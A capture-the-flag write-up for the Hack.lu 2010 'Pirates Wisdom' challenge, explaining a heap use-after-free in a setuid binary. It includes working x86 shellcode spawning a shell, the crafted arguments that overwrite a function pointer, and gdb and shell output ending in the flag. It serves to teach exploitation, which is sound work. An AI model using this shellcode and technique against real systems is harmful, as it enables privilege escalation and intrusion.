Hack.lu 2010 CTF #22 (Pirates Wisdom) writeup

Pirates Wisdom
Captian Iglo heard there is a secret wisdom in the well known pirate wisdom system.
Log in to ssh pirates.fluxfingers.net:9022
user: ctf
password: ctf
and get the content of key.txt.
You get rewarded with 300 coins.

binary

Summary: simple heap’s chunk reusage error with a bit obfuscated logic

This challenge was based on simple heap’s chunk reusage error with a bit obfuscated logic (I suppose it’s because of compiler’s optimization). You can look at it’s rebuilded source. It is easy to see, we have to overwrite a pointer in the buffer addressed by buf2overwrite variable with the address of our shellcode (that pointer has address buf2overwrite+252 (or buf2overwrite+63 dwords). Let’s speak a bit about the heap.

Heap is a place where dynamically allocated physical memory is mapped to. When the malloc function is called, a free chunk (block) with certain size is being searched. When some chunk is free’d (with free function), its space is marked as free and next malloc can use it (if its size allows that). If we free some chunk and then still continue to use it via its pointer (which was given from malloc call), we may get some unexpected things, like data substitution.

Well, back to our binary. All data is copied into heap with memcpy with size parameter handled correctly, so there is no heap overflow here. Also, our data is copied only to ‘freshly’ allocated chunks, so to overwrite that cherished dword we need a pointer returned from malloc to address the same chunk as the buf2overwrite do.

So, the first step is to free buf2overwrite. There is only one place in code for that – just after LOC_FREE:

for ( j = 0; j < argv1; ++j )
{
LOC_FORLOOP_BEGINS:
    
    lastchunk = malloc(0x100u);
    memset(lastchunk, 0, 0x100u);
    memcpy(lastchunk, buffer, 0x100u);
    
    if ( argv3 != 12450 )
        *(buf2overwrite + 63) = f_message2;
    if ( j < argv2 )
        *(buf2overwrite + 63) = f_message1;
    if ( j == argv2 )
    {
        *(buf2overwrite + 63) = f_message1;
    LOC_FREE:
        free(buf2overwrite);
        goto LOC_2;
    }
    if ( j == argv3 )
        *(buf2overwrite + 63) = f_message3;

}

Maybe there are a lot of tortous ways to reach that code but we’ll go straight ;). We need
j == argv2, and firstly j = 0, so let argv2 = 0.

Ok, it’s free’d. Where we go next?

while ( 1 )
{
    if ( argv3 == 12455 )
    {
        --argv1;
        ++argv2;
        goto LOC_FREE;
    }
    if ( argv3 == 12451 )
    {
        argv3 = 12450;
        ++j;
        goto LOC_FORLOOP_BEGINS;
    }
    if ( argv3 != 1255 )
        break;
    --argv2;
    argv3 = 1256;
LOC_2:
    puts("sorry no wisdom found for your problem");
}

Now, argv3 is processed. We have a few ways here:

  • argv3 = 12455: buf2overwrite will be free’d again – this will most probably cause a program crash;
  • argv3 = 12451: back to the ‘for’ loop; nothing bad;
  • argv3 = 1255: here argv3 will be equaled to 1256, and then ‘while’ loop will be broken. It would be too early, we have not substituted the address yet;
  • argv3 = whatever else: the ‘while’ loop is broken, it’s not out path;

So, according to the logic, let argv3 = 12451. In this case argv3 is set to 12450 and j is increased by 1 (from now j=1).

When we jump back to the ‘for’ loop, a new chunk will be allocated – oh, and it will use that free space, which has been used earlier by buf2overwrite. Then, our data will be copied there. That is what we wanted!

There is some bad code which we have to pass – overwriting the address with useless functions (f_message1, f_message2, f_message3 – they just print some message). Luckily, it’s passed byself. Indeed:

  • if ( argv3 != 12450 ) is passed, because argv3=12450
  • if ( j < argv2 ) and if ( j == argv2 ) are passed, because argv2=0 and j=1 (later j will be increased as loop counter)
  • if ( j == argv3 ) is passed, if we won’t set argv1 (loop limit) greater than 12450 ;)

Well, argv1 must be in range [1; 2010] (argv1 must not be greater than 2010, it’s checked right after atoi). I choose 1, shouldn’t we save cpu cycles? ;)

Next, ‘while’ loop is passed, because argv3 != 12455, 12451 or 1255. So, let’s generate correct payload and exploit the binary:

$ export SC="`perl -e 'print "\x90"x1024; print "\x6a\x31\x58\x99\xcd
\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80";'`"
...
Breakpoint 1, 0x080485be in main ()
(gdb) x/40xw 0xbffffff0-512
0xbffffdf0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe00:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe10:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe20:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe30:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe40:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe50:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe60:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe70:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffe80:    0x90909090    0x90909090    0x90909090    0x90909090
...
$ ~/weisheiten 1 0 12451 "`perl -e 'print "A"x252; print "\x40\xfe
\xff\xbf";'`"
... # ASCII picture here
$ id
uid=1001(winner) gid=1000(ctf) egid=1001(winner) groups=1000(ctf)
$ ls /home/ctf
key.txt  weisheiten
$ cat /home/ctf/key.txt
QAJS3aiK4iMf

The flag is: QAJS3aiK4iMf

Leave a Reply

Your email address will not be published.